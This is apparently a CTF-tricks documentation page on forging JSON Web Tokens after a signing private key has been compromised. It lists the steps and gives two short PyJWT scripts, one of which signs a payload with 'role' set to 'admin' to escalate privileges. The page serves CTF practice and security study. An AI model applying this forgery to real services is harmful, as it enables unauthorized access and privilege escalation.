> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/authentication-bypass/jwt/trick-0285.md).

# JWT Forgery with Private Key

***

If you manage to compromise the private key used to sign a JSON Web Token (JWT), you can forge new tokens with modified payloads. This is commonly exploited to elevate privileges by changing claims like `role`.

The process involves:

1. Decoding the original JWT to extract its payload.
2. Modifying the payload to achieve the desired state (e.g., changing `'role': 'user'` to `'role': 'admin'`, or potentially adjusting the `kid`).
3. Using a tool (like `jwt.io`) or a programming library (like Python's `PyJWT`) to sign the modified payload. You will need to provide the modified payload, the compromised private key (`mykey.key`), and the original signing algorithm (e.g., RS256, HS256) taken from the original JWT header.

The output is a new JWT with your desired payload, signed correctly with the compromised key, which the server should validate.

Using a library like PyJWT in Python provides a programmatic way to perform the signing step. The `jwt.encode()` function is used to create the signed token. You need to provide the payload (as a dictionary), the signing key, and the algorithm used for signing. When using asymmetric algorithms like RS256, the key should be the private key.

Here's an example demonstrating how to sign a payload using a private key file (`mykey.key`) and the RS256 algorithm with PyJWT:

```python
import jwt
import datetime

# Load the private key from a file
with open("mykey.key", "r") as f:
    private_key = f.read()

# Define your modified payload
payload = {
    "sub": "1234567890",
    "name": "Forged User",
    "role": "admin", # Elevated privilege
    "iat": datetime.datetime.utcnow()
}

# Define the algorithm used by the original token
algorithm = "RS256"

# Sign the payload with the private key
encoded_jwt = jwt.encode(payload, private_key, algorithm=algorithm)

print(encoded_jwt)
```

This script reads the private key, defines a payload with the desired modifications (e.g., changing the role to 'admin'), specifies the signing algorithm, and then uses `jwt.encode()` to generate the new, forged JWT. The resulting `encoded_jwt` string is the token that can then be used.

Another example using PyJWT for RS256 signing involves loading the private key from a file and encoding the payload:

```python
import jwt
import datetime

with open('private.pem', 'rb') as f:
    private_key = f.read()

payload = {
    'exp': datetime.datetime.utcnow() + datetime.timedelta(seconds=180),
    'iat': datetime.datetime.utcnow(),
    'sub': '1234567890',
    'name': 'John Doe'
}

encoded = jwt.encode(payload, private_key, algorithm="RS256")
print(encoded)
```

Ensuring the correct algorithm from the original token's header is crucial for successful validation by the server.
